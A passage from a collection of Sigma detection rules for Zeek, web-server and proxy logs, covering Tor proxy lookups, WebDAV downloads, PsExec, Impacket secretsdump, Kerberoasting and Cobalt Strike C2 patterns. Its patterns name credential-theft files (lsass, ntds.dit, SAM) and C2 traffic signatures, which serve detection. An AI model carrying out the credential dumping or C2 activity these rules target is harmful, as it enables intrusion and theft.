"content": "title: DNS TOR Proxies\nid: a8322756-015c-42e7-afb1-436e85ed3ff5\nrelated:\n - id: b55ca2a3-7cff-4dda-8bdd-c7bfa63bf544\n type: similar\n - id: 8384bd26-bde6-4da9-8e5d-4174a7a47ca2\n type: similar\nstatus: test\ndescription: Identifies IPs performing DNS lookups associated with common Tor proxies.\nreferences:\n - https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml\nauthor: Saw Winn Naung , Azure-Sentinel\ndate: 2021-08-15\nmodified: 2025-09-12\ntags:\n - attack.exfiltration\n - attack.t1048\nlogsource:\n service: dns\n product: zeek\ndetection:\n selection:\n query|endswith:\n - '.hiddenservice.net'\n - '.onion.ca'\n - '.onion.cab'\n - '.onion.casa'\n - '.onion.city'\n - '.onion.direct'\n - '.onion.dog'\n - '.onion.glass'\n - '.onion.gq'\n - '.onion.guide'\n - '.onion.in.net'\n - '.onion.ink'\n - '.onion.it'\n - '.onion.link'\n - '.onion.lt'\n - '.onion.lu'\n - '.onion.ly'\n - '.onion.mn'\n - '.onion.network'\n - '.onion.nu'\n - '.onion.pet'\n - '.onion.plus'\n - '.onion.pt'\n - '.onion.pw'\n - '.onion.rip'\n - '.onion.sh'\n - '.onion.si'\n - '.onion.to'\n - '.onion.top'\n - '.onion.ws'\n - '.onion'\n - '.s1.tor-gateways.de'\n - '.s2.tor-gateways.de'\n - '.s3.tor-gateways.de'\n - '.s4.tor-gateways.de'\n - '.s5.tor-gateways.de'\n - '.t2w.pw'\n - '.tor2web.ae.org'\n - '.tor2web.blutmagie.de'\n - '.tor2web.com'\n - '.tor2web.fi'\n - '.tor2web.io'\n - '.tor2web.org'\n - '.tor2web.xyz'\n - '.torlink.co'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_http_executable_download_from_webdav.yml",
"content": "title: Executable from Webdav\nid: aac2fd97-bcba-491b-ad66-a6edf89c71bf\nstatus: test\ndescription: 'Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/'\nreferences:\n - http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html\n - https://github.com/OTRF/detection-hackathon-apt29\nauthor: 'SOC Prime, Adam Swan'\ndate: 2020-05-01\nmodified: 2021-11-27\ntags:\n - attack.command-and-control\n - attack.t1105\nlogsource:\n product: zeek\n service: http\ndetection:\n selection_webdav:\n - c-useragent|contains: 'WebDAV'\n - c-uri|contains: 'webdav'\n selection_executable:\n - resp_mime_types|contains: 'dosexec'\n - c-uri|endswith: '.exe'\n condition: selection_webdav and selection_executable\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_http_susp_file_ext_from_susp_tld.yml",
"content": "title: HTTP Request to Low Reputation TLD or Suspicious File Extension\nid: 68c2c604-92ad-468b-bf4a-aac49adad08c\nstatus: experimental\ndescription: |\n Detects HTTP requests to low reputation TLDs (e.g. .xyz, .top, .ru) or ending in suspicious file extensions (.exe, .dll, .hta), which may indicate malicious activity.\nreferences:\n - https://www.howtogeek.com/137270/50-file-extensions-that-are-potentially-dangerous-on-windows\n - https://www.spamhaus.org/reputation-statistics/cctlds/domains/\nauthor: '@signalblur, Corelight'\ndate: 2025-02-26\ntags:\n - attack.initial-access\n - attack.command-and-control\nlogsource:\n product: zeek\n service: http\ndetection:\n # Suspicious TLD in the 'host' field OR malicious file extension in the 'uri' field.\n selection_suspicious_tld:\n host|endswith:\n - '.bid'\n - '.by'\n - '.cf'\n - '.click'\n - '.cm'\n - '.ga'\n - '.gq'\n - '.ir'\n - '.kp'\n - '.loan'\n - '.ml'\n - '.mm'\n - '.party'\n - '.pw'\n - '.ru'\n - '.su'\n - '.sy'\n - '.tk'\n - '.top'\n - '.tv'\n - '.ve'\n - '.work'\n - '.xyz'\n selection_malicious_ext:\n uri|endswith:\n - '.bat'\n - '.bin'\n - '.cmd'\n - '.cpl'\n - '.dll'\n - '.dylib'\n - '.elf'\n - '.exe'\n - '.hta'\n - '.iso'\n - '.jar'\n - '.js'\n - '.lnk'\n - '.msi'\n - '.pif'\n - '.ps1'\n - '.py'\n - '.reg'\n - '.scr'\n - '.sh'\n - '.so'\n - '.vbs'\n - '.wsf'\n selection_malicious_mime:\n resp_mime_types:\n - 'application/vnd.microsoft.portable-executable'\n - 'application/x-bat'\n - 'application/x-dosexec'\n - 'application/x-elf'\n - 'application/x-iso9660-image'\n - 'application/x-java-archive'\n - 'application/x-ms-shortcut'\n - 'application/x-msdos-program'\n - 'application/x-msdownload'\n - 'application/x-python-code'\n - 'application/x-sh'\n condition: selection_suspicious_tld and 1 of selection_malicious_*\nfalsepositives:\n - Rare legitimate software downloads from low quality TLDs\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_http_webdav_put_request.yml",
"content": "title: WebDav Put Request\nid: 705072a5-bb6f-4ced-95b6-ecfa6602090b\nstatus: test\ndescription: A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.\nreferences:\n - https://github.com/OTRF/detection-hackathon-apt29/issues/17\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)\ndate: 2020-05-02\nmodified: 2024-03-13\ntags:\n - attack.exfiltration\n - attack.t1048.003\nlogsource:\n product: zeek\n service: http\ndetection:\n selection:\n user_agent|contains: 'WebDAV'\n method: 'PUT'\n filter:\n id.resp_h|cidr:\n - '10.0.0.0/8'\n - '127.0.0.0/8'\n - '172.16.0.0/12'\n - '192.168.0.0/16'\n - '169.254.0.0/16'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/network/zeek/zeek_rdp_public_listener.yml",
"content": "title: Publicly Accessible RDP Service\nid: 1fc0809e-06bf-4de3-ad52-25e5263b7623\nstatus: test\ndescription: |\n Detects connections from routable IPs to an RDP listener. Which is indicative of a publicly-accessible RDP service.\nauthor: Josh Brower @DefensiveDepth\ndate: 2020-08-22\nmodified: 2024-03-13\ntags:\n - attack.lateral-movement\n - attack.t1021.001\nlogsource:\n product: zeek\n service: rdp\ndetection:\n selection:\n id.orig_h|cidr:\n - '::1/128' # IPv6 loopback\n - '10.0.0.0/8'\n - '127.0.0.0/8'\n - '172.16.0.0/12'\n - '192.168.0.0/16'\n - '169.254.0.0/16'\n - '2620:83:8000::/48'\n - 'fc00::/7' # IPv6 private addresses\n - 'fe80::/10' # IPv6 link-local addresses\n # approved_rdp:\n # dst_ip:\n # - x.x.x.x\n condition: not selection # and not approved_rdp\nfalsepositives:\n - Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet.\nlevel: high\n"
},
{
"path": "rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml",
"content": "title: Remote Task Creation via ATSVC Named Pipe - Zeek\nid: dde85b37-40cd-4a94-b00c-0b8794f956b5\nrelated:\n - id: f6de6525-4509-495a-8a82-1f8b0ed73a00\n type: derived\nstatus: test\ndescription: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe\nreferences:\n - https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html\nauthor: 'Samir Bousseaden, @neu5rn'\ndate: 2020-04-03\nmodified: 2022-12-27\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.lateral-movement\n - attack.persistence\n - car.2013-05-004\n - car.2015-04-001\n - attack.t1053.002\nlogsource:\n product: zeek\n service: smb_files\ndetection:\n selection:\n path: '\\\\\\*\\IPC$'\n name: 'atsvc'\n # Accesses: '*WriteData*'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml",
"content": "title: Possible Impacket SecretDump Remote Activity - Zeek\nid: 92dae1ed-1c9d-4eff-a567-33acbd95b00e\nstatus: test\ndescription: 'Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml'\nreferences:\n - https://web.archive.org/web/20230329153811/https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html\nauthor: 'Samir Bousseaden, @neu5ron'\ndate: 2020-03-19\nmodified: 2021-11-27\ntags:\n - attack.credential-access\n - attack.t1003.002\n - attack.t1003.004\n - attack.t1003.003\nlogsource:\n product: zeek\n service: smb_files\ndetection:\n selection:\n path|contains|all:\n - '\\'\n - 'ADMIN$'\n name|contains: 'SYSTEM32\\'\n name|endswith: '.tmp'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/network/zeek/zeek_smb_converted_win_lm_namedpipe.yml",
"content": "title: First Time Seen Remote Named Pipe - Zeek\nid: 021310d9-30a6-480a-84b7-eaa69aeb92bb\nrelated:\n - id: 52d8b0c6-53d6-439a-9e41-52ad442ad9ad\n type: derived\nstatus: test\ndescription: This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes\nreferences:\n - https://twitter.com/menasec1/status/1104489274387451904\nauthor: Samir Bousseaden, @neu5ron, Tim Shelton\ndate: 2020-04-02\nmodified: 2022-12-27\ntags:\n - attack.lateral-movement\n - attack.t1021.002\nlogsource:\n product: zeek\n service: smb_files\ndetection:\n selection:\n path: '\\\\\\\\\\*\\\\IPC$' # Looking for the string \\\\*\\IPC$\n filter_keywords:\n - 'samr'\n - 'lsarpc'\n - 'winreg'\n - 'netlogon'\n - 'srvsvc'\n - 'protected_storage'\n - 'wkssvc'\n - 'browser'\n - 'netdfs'\n - 'svcctl'\n - 'spoolss'\n - 'ntsvcs'\n - 'LSM_API_service'\n - 'HydraLsPipe'\n - 'TermSrv_API_service'\n - 'MsFteWds'\n condition: selection and not 1 of filter_*\nfalsepositives:\n - Update the excluded named pipe to filter out any newly observed legit named pipe\nlevel: high\n"
},
{
"path": "rules/network/zeek/zeek_smb_converted_win_susp_psexec.yml",
"content": "title: Suspicious PsExec Execution - Zeek\nid: f1b3a22a-45e6-4004-afb5-4291f9c21166\nrelated:\n - id: c462f537-a1e3-41a6-b5fc-b2c2cef9bf82\n type: derived\nstatus: test\ndescription: detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one\nreferences:\n - https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html\nauthor: Samir Bousseaden, @neu5ron, Tim Shelton\ndate: 2020-04-02\nmodified: 2022-12-27\ntags:\n - attack.lateral-movement\n - attack.t1021.002\nlogsource:\n product: zeek\n service: smb_files\ndetection:\n selection:\n path|contains|all:\n - '\\\\'\n - '\\IPC$'\n name|endswith:\n - '-stdin'\n - '-stdout'\n - '-stderr'\n filter:\n name|startswith: 'PSEXESVC'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/network/zeek/zeek_smb_converted_win_susp_raccess_sensitive_fext.yml",
"content": "title: Suspicious Access to Sensitive File Extensions - Zeek\nid: 286b47ed-f6fe-40b3-b3a8-35129acd43bc\nrelated:\n - id: 91c945bc-2ad1-4799-a591-4d00198a1215\n type: derived\nstatus: test\ndescription: Detects known sensitive file extensions via Zeek\nreferences:\n - Internal Research\nauthor: Samir Bousseaden, @neu5ron\ndate: 2020-04-02\nmodified: 2025-10-17\ntags:\n - attack.collection\nlogsource:\n product: zeek\n service: smb_files\ndetection:\n selection:\n name|endswith:\n - '.pst'\n - '.ost'\n - '.msg'\n - '.nst'\n - '.oab'\n - '.edb'\n - '.nsf'\n - '.bak'\n - '.dmp'\n - '.kirbi'\n # - '\\groups.xml' # Commented out: groups.xml is accessed legitimately by Group Policy processing; high FP rate in enterprise environments\n - '.rdp'\n condition: selection\nfalsepositives:\n - Help Desk operator doing backup or re-imaging end user machine or backup software\n - Users working with these data types or exchanging message files\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_smb_converted_win_transferring_files_with_credential_data.yml",
"content": "title: Transferring Files with Credential Data via Network Shares - Zeek\nid: 2e69f167-47b5-4ae7-a390-47764529eff5\nrelated:\n - id: 910ab938-668b-401b-b08c-b596e80fdca5\n type: similar\nstatus: test\ndescription: Transferring files with well-known filenames (sensitive files with credential data) using network shares\nreferences:\n - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment\nauthor: '@neu5ron, Teymur Kheirkhabarov, oscd.community'\ndate: 2020-04-02\nmodified: 2021-11-27\ntags:\n - attack.credential-access\n - attack.t1003.002\n - attack.t1003.001\n - attack.t1003.003\nlogsource:\n product: zeek\n service: smb_files\ndetection:\n selection:\n name:\n - '\\mimidrv'\n - '\\lsass'\n - '\\windows\\minidump\\'\n - '\\hiberfil'\n - '\\sqldmpr'\n - '\\sam'\n - '\\ntds.dit'\n - '\\security'\n condition: selection\nfalsepositives:\n - Transferring sensitive files for legitimate administration work by legitimate administrator\nlevel: medium\n"
},
{
"path": "rules/network/zeek/zeek_susp_kerberos_rc4.yml",
"content": "title: Kerberos Network Traffic RC4 Ticket Encryption\nid: 503fe26e-b5f2-4944-a126-eab405cc06e5\nstatus: test\ndescription: Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting\nreferences:\n - https://adsecurity.org/?p=3458\nauthor: sigma\ndate: 2020-02-12\nmodified: 2021-11-27\ntags:\n - attack.credential-access\n - attack.t1558.003\nlogsource:\n product: zeek\n service: kerberos\ndetection:\n selection:\n request_type: 'TGS'\n cipher: 'rc4-hmac'\n computer_acct:\n service|startswith: '$'\n condition: selection and not computer_acct\nfalsepositives:\n - Normal enterprise SPN requests activity\nlevel: medium\n"
},
{
"path": "rules/web/product/apache/web_apache_segfault.yml",
"content": "title: Apache Segmentation Fault\nid: 1da8ce0b-855d-4004-8860-7d64d42063b1\nstatus: test\ndescription: Detects a segmentation fault error message caused by a crashing apache worker process\nreferences:\n - http://www.securityfocus.com/infocus/1633\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-02-28\nmodified: 2021-11-27\ntags:\n - attack.impact\n - attack.t1499.004\nlogsource:\n service: apache\n definition: 'Requirements: Must be able to collect the error.log file'\ndetection:\n keywords:\n - 'exit signal Segmentation Fault'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/product/apache/web_apache_threading_error.yml",
"content": "title: Apache Threading Error\nid: e9a2b582-3f6a-48ac-b4a1-6849cdc50b3c\nstatus: test\ndescription: Detects an issue in apache logs that reports threading related errors\nreferences:\n - https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md\nauthor: Florian Roth (Nextron Systems)\ndate: 2019-01-22\nmodified: 2021-11-27\ntags:\n - attack.initial-access\n - attack.lateral-movement\n - attack.t1190\n - attack.t1210\nlogsource:\n service: apache\n definition: 'Requirements: Must be able to collect the error.log file'\ndetection:\n keywords:\n - '__pthread_tpp_change_priority: Assertion `new_prio == -1 || (new_prio >= fifo_min_prio && new_prio <= fifo_max_prio)'\n condition: keywords\nfalsepositives:\n - 3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185\nlevel: medium\n"
},
{
"path": "rules/web/product/nginx/web_nginx_core_dump.yml",
"content": "title: Nginx Core Dump\nid: 59ec40bb-322e-40ab-808d-84fa690d7e56\nstatus: test\ndescription: Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.\nreferences:\n - https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps\n - https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-05-31\nmodified: 2023-05-08\ntags:\n - attack.impact\n - attack.t1499.004\nlogsource:\n service: nginx\ndetection:\n keywords:\n - 'exited on signal 6 (core dumped)'\n condition: keywords\nfalsepositives:\n - Serious issues with a configuration or plugin\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_download_susp_dyndns.yml",
"content": "title: Download from Suspicious Dyndns Hosts\nid: 195c1119-ef07-4909-bb12-e66f5e07bf3c\nstatus: test\ndescription: Detects download of certain file types from hosts with dynamic DNS names (selected list)\nreferences:\n - https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-11-08\nmodified: 2023-05-18\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1105\n - attack.t1568\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri-extension:\n - 'exe'\n - 'vbs'\n - 'bat'\n - 'rar'\n - 'ps1'\n - 'doc'\n - 'docm'\n - 'xls'\n - 'xlsm'\n - 'pptm'\n - 'rtf'\n - 'hta'\n - 'dll'\n - 'ws'\n - 'wsf'\n - 'sct'\n - 'zip'\n # If you want to add more extensions - see https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/\n cs-host|endswith:\n - '.hopto.org'\n - '.no-ip.org'\n - '.no-ip.info'\n - '.no-ip.biz'\n - '.no-ip.com'\n - '.noip.com'\n - '.ddns.name'\n - '.myftp.org'\n - '.myftp.biz'\n - '.serveblog.net'\n - '.servebeer.com'\n - '.servemp3.com'\n - '.serveftp.com'\n - '.servequake.com'\n - '.servehalflife.com'\n - '.servehttp.com'\n - '.servegame.com'\n - '.servepics.com'\n - '.myvnc.com'\n - '.ignorelist.com'\n - '.jkub.com'\n - '.dlinkddns.com'\n - '.jumpingcrab.com'\n - '.ddns.info'\n - '.mooo.com'\n - '.dns-dns.com'\n - '.strangled.net'\n - '.adultdns.net'\n - '.craftx.biz'\n - '.ddns01.com'\n - '.dns53.biz'\n - '.dnsapi.info'\n - '.dnsd.info'\n - '.dnsdynamic.com'\n - '.dnsdynamic.net'\n - '.dnsget.org'\n - '.fe100.net'\n - '.flashserv.net'\n - '.ftp21.net'\n - '.http01.com'\n - '.http80.info'\n - '.https443.com'\n - '.imap01.com'\n - '.kadm5.com'\n - '.mysq1.net'\n - '.ns360.info'\n - '.ntdll.net'\n - '.ole32.com'\n - '.proxy8080.com'\n - '.sql01.com'\n - '.ssh01.com'\n - '.ssh22.net'\n - '.tempors.com'\n - '.tftpd.net'\n - '.ttl60.com'\n - '.ttl60.org'\n - '.user32.com'\n - '.voip01.com'\n - '.wow64.net'\n - '.x64.me'\n - '.xns01.com'\n - '.dyndns.org'\n - '.dyndns.info'\n - '.dyndns.tv'\n - '.dyndns-at-home.com'\n - '.dnsomatic.com'\n - '.zapto.org'\n - '.webhop.net'\n - '.25u.com'\n - '.slyip.net'\n condition: selection\nfalsepositives:\n - Software downloads\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_download_susp_tlds_blacklist.yml",
"content": "title: Download From Suspicious TLD - Blacklist\nid: 00d0b5ab-1f55-4120-8e83-487c0a7baf19\nrelated:\n - id: b5de2919-b74a-4805-91a7-5049accbaefe\n type: similar\nstatus: test\ndescription: Detects download of certain file types from hosts in suspicious TLDs\nreferences:\n - https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap\n - https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf\n - https://www.spamhaus.org/statistics/tlds/\n - https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-11-07\nmodified: 2023-05-18\ntags:\n - attack.initial-access\n - attack.t1566\n - attack.execution\n - attack.t1203\n - attack.t1204.002\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri-extension:\n - 'exe'\n - 'vbs'\n - 'bat'\n - 'rar'\n - 'ps1'\n - 'doc'\n - 'docm'\n - 'xls'\n - 'xlsm'\n - 'pptm'\n - 'rtf'\n - 'hta'\n - 'dll'\n - 'ws'\n - 'wsf'\n - 'sct'\n - 'zip'\n # If you want to add more extensions - see https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/\n cs-host|endswith:\n # Symantec / Chris Larsen analysis\n - '.country'\n - '.stream'\n - '.gdn'\n - '.mom'\n - '.xin'\n - '.kim'\n - '.men'\n - '.loan'\n - '.download'\n - '.racing'\n - '.online'\n - '.science'\n - '.ren'\n - '.gb'\n - '.win'\n - '.top'\n - '.review'\n - '.vip'\n - '.party'\n - '.tech'\n - '.xyz'\n - '.date'\n - '.faith'\n - '.zip'\n - '.cricket'\n - '.space'\n # McAfee report\n - '.info'\n - '.vn'\n - '.cm'\n - '.am'\n - '.cc'\n - '.asia'\n - '.ws'\n - '.tk'\n - '.biz'\n - '.su'\n - '.st'\n - '.ro'\n - '.ge'\n - '.ms'\n - '.pk'\n - '.nu'\n - '.me'\n - '.ph'\n - '.to'\n - '.tt'\n - '.name'\n - '.tv'\n - '.kz'\n - '.tc'\n - '.mobi'\n # Spamhaus\n - '.study'\n - '.click'\n - '.link'\n - '.trade'\n - '.accountant'\n # Spamhaus 2018 https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/\n - '.cf'\n - '.gq'\n - '.ml'\n - '.ga'\n # Custom\n - '.pw'\n condition: selection\nfalsepositives:\n - All kinds of software downloads\nlevel: low\n"
},
{
"path": "rules/web/proxy_generic/proxy_download_susp_tlds_whitelist.yml",
"content": "title: Download From Suspicious TLD - Whitelist\nid: b5de2919-b74a-4805-91a7-5049accbaefe\nrelated:\n - id: 00d0b5ab-1f55-4120-8e83-487c0a7baf19\n type: similar\nstatus: test\ndescription: Detects executable downloads from suspicious remote systems\nreferences:\n - Internal Research\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-03-13\nmodified: 2023-05-18\ntags:\n - attack.initial-access\n - attack.t1566\n - attack.execution\n - attack.t1203\n - attack.t1204.002\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri-extension:\n - 'exe'\n - 'vbs'\n - 'bat'\n - 'rar'\n - 'ps1'\n - 'doc'\n - 'docm'\n - 'xls'\n - 'xlsm'\n - 'pptm'\n - 'rtf'\n - 'hta'\n - 'dll'\n - 'ws'\n - 'wsf'\n - 'sct'\n - 'zip'\n # If you want to add more extensions - see https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/\n filter:\n cs-host|endswith:\n - '.com'\n - '.org'\n - '.net'\n - '.edu'\n - '.gov'\n - '.uk'\n - '.ca'\n - '.de'\n - '.jp'\n - '.fr'\n - '.au'\n - '.us'\n - '.ch'\n - '.it'\n - '.nl'\n - '.se'\n - '.no'\n - '.es'\n # Extend this list as needed\n condition: selection and not filter\nfalsepositives:\n - All kind of software downloads\nlevel: low\n"
},
{
"path": "rules/web/proxy_generic/proxy_downloadcradle_webdav.yml",
"content": "title: Windows WebDAV User Agent\nid: e09aed7a-09e0-4c9a-90dd-f0d52507347e\nstatus: test\ndescription: Detects WebDav DownloadCradle\nreferences:\n - https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html\nauthor: Florian Roth (Nextron Systems)\ndate: 2018-04-06\nmodified: 2021-11-27\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|startswith: 'Microsoft-WebDAV-MiniRedir/'\n cs-method: 'GET'\n condition: selection\nfalsepositives:\n - Administrative scripts that download files from the Internet\n - Administrative scripts that retrieve certain website contents\n - Legitimate WebDAV administration\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_f5_tm_utility_bash_api_request.yml",
"content": "title: F5 BIG-IP iControl Rest API Command Execution - Proxy\nid: b59c98c6-95e8-4d65-93ee-f594dfb96b17\nrelated:\n - id: 85254a62-22be-4239-b79c-2ec17e566c37\n type: similar\nstatus: test\ndescription: Detects POST requests to the F5 BIG-IP iControl Rest API \"bash\" endpoint, which allows the execution of commands on the BIG-IP\nreferences:\n - https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash\n - https://community.f5.com/t5/technical-forum/icontrolrest-11-5-execute-bash-command/td-p/203029\n - https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516\nauthor: Nasreddine Bencherchali (Nextron Systems), Thurein Oo\ndate: 2023-11-08\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: proxy\ndetection:\n selection:\n cs-method: 'POST'\n c-uri|endswith: '/mgmt/tm/util/bash'\n condition: selection\nfalsepositives:\n - Legitimate usage of the BIG IP REST API to execute command for administration purposes\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_hello_world_user_agent.yml",
"content": "title: Potential Hello-World Scraper Botnet Activity\nid: 1712bafe-be05-4a0e-89d4-17a3ed151bf5\nstatus: experimental\ndescription: |\n Detects network traffic potentially associated with a scraper botnet variant that uses the \"Hello-World/1.0\" user-agent string.\nreferences:\n - https://www.greynoise.io/blog/new-scraper-botnet-concentrated-in-taiwan\n - https://viz.greynoise.io/tags/hello-world-scraper-botnet?days=30\nauthor: Joseph A. M.\ndate: 2025-08-02\ntags:\n - attack.reconnaissance\n - attack.t1595\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent: 'Hello-World/1.0'\n cs-method: 'GET'\n condition: selection\nfalsepositives:\n - Legitimate network monitoring or vulnerability scanning tools that may use this generic user agent.\n - Internal development or testing scripts. Consider filtering by source IP if this is expected from certain systems.\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_hktl_baby_shark_default_agent_url.yml",
"content": "title: HackTool - BabyShark Agent Default URL Pattern\nid: 304810ed-8853-437f-9e36-c4975c3dfd7e\nstatus: test\ndescription: Detects Baby Shark C2 Framework default communication patterns\nreferences:\n - https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-06-09\nmodified: 2024-02-15\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-uri|contains: 'momyshark\\?key='\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: critical\n"
},
{
"path": "rules/web/proxy_generic/proxy_hktl_cobalt_strike_malleable_c2_requests.yml",
"content": "title: HackTool - CobaltStrike Malleable Profile Patterns - Proxy\nid: f3f21ce1-cdef-4bfc-8328-ed2e826f5fac\nrelated:\n - id: 953b895e-5cc9-454b-b183-7f3db555452e\n type: obsolete\n - id: 41b42a36-f62c-4c34-bd40-8cb804a34ad8\n type: obsolete\n - id: 37325383-740a-403d-b1a2-b2b4ab7992e7\n type: obsolete\n - id: c9b33401-cc6a-4cf6-83bb-57ddcb2407fc\n type: obsolete\nstatus: test\ndescription: Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).\nreferences:\n - https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile\n - https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100\n - https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile\n - https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/\n - https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile\nauthor: Markus Neis, Florian Roth (Nextron Systems)\ndate: 2024-02-15\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection_amazon_1:\n c-useragent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'\n cs-method: 'GET'\n c-uri: '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books'\n cs-host: 'www.amazon.com'\n cs-cookie|endswith: '=csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996'\n selection_amazon_2:\n c-useragent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'\n cs-method: 'POST'\n c-uri: '/N4215/adj/amzn.us.sr.aps'\n cs-host: 'www.amazon.com'\n selection_generic_1:\n c-useragent:\n - 'Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)'\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E )'\n - 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08'\n selection_generic_2:\n c-useragent|endswith: '; MANM; MANM)'\n selection_oscp:\n c-uri|contains: '/oscp/'\n cs-host: 'ocsp.verisign.com'\n selection_onedrive:\n cs-method: 'GET'\n c-uri|endswith: '\\?manifest=wac'\n cs-host: 'onedrive.live.com'\n filter_main_onedrive:\n c-uri|startswith: 'http'\n c-uri|contains: '://onedrive.live.com/'\n condition: 1 of selection_* and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_hktl_empire_ua_uri_patterns.yml",
